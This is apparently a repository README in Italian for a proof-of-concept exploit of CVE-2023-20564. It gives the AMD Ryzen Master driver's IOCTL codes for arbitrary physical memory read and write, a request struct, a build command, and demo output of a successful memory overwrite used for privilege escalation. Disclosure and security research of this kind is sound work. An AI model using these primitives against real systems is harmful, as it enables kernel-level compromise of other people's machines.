
Proof-of-concept dell'exploit per CVE-2023-20564 che dimostra la lettura/scrittura arbitraria della memoria fisica tramite i gestori IOCTL di AMD Ryzen Master Driver, consentendo l'escalation dei privilegi su Windows.
Questa repository contiene una Proof of Concept (PoC) che dimostra la vulnerabilità CVE-2023-20564 nel driver AMD Ryzen Master. La vulnerabilità consente a utenti non privilegiati di leggere e scrivere memoria fisica arbitraria, portando a una potenziale escalation dei privilegi e al compromesso del sistema.
Il driver AMD Ryzen Master (AMDRyzenMasterDriverV17.sys) contiene una validazione insufficiente nei suoi gestori IOCTL, in particolare:
0x81112F08 - Consente la lettura di memoria fisica arbitraria0x81112F0C - Consente la scrittura di memoria fisica arbitrariaIl driver non riesce a validare correttamente:
Ciò consente ad applicazioni dannose di:
AMDRyzenMasterDriverV17.sys - Il file del driver vulnerabile# manualmente
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Indirizzo fisico da leggere
LARGE_INTEGER SizeAndData; // Dimensioni e buffer dati
CHAR Buffer[1]; // Buffer dati variabile
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - Legge dalla memoria fisicaWritePhysicalMemory() - Scrive nella memoria fisicaTestReadWriteVerify() - Sequenza di test completaInstallDriverService() - Installazione del driverStopAndRemoveDriverService() - Pulizia del driver===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installazione e avvio del servizio driver...
[+] File del driver trovato
[+] Servizio creato con successo
[+] Servizio avviato con successo
[*] Inizializzazione della connessione al driver...
[+] Connessione al driver stabilita con successo
[!] TEST DELLA SEQUENZA LETTURA/SCRITTURA/VERIFICA
[PASSO 1] Lettura dei dati originali...
[*] Lettura di 8 byte dall'indirizzo fisico 0x100000
[*] LETTURA MEMORIA FISICA RIUSCITA!
Letti 8 byte da 0x100000
Dati: 4D 5A 90 00 03 00 00 00
[PASSO 2] Scrittura dei dati di test...
[*] Scrittura di 8 byte all'indirizzo fisico 0x100000
Dati: DE AD BE EF CA FE BA BE
[*] SCRITTURA MEMORIA FISICA RIUSCITA!
Scritti 8 byte a 0x100000
[PASSO 3] Verifica dei dati scritti...
[*] Lettura di 8 byte dall'indirizzo fisico 0x100000
[*] LETTURA MEMORIA FISICA RIUSCITA!
Dati: DE AD BE EF CA FE BA BE
[*] VERIFICA DATI RIUSCITA! Scrittura/Lettura funziona correttamente!
Il driver vulnerabile espone due IOCTL principali:
Lettura memoria fisica (0x81112F08)
Scrittura memoria fisica (0x81112F0C)
Ricorda: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati. Ottieni sempre la dovuta autorizzazione prima di effettuare test su qualsiasi sistema.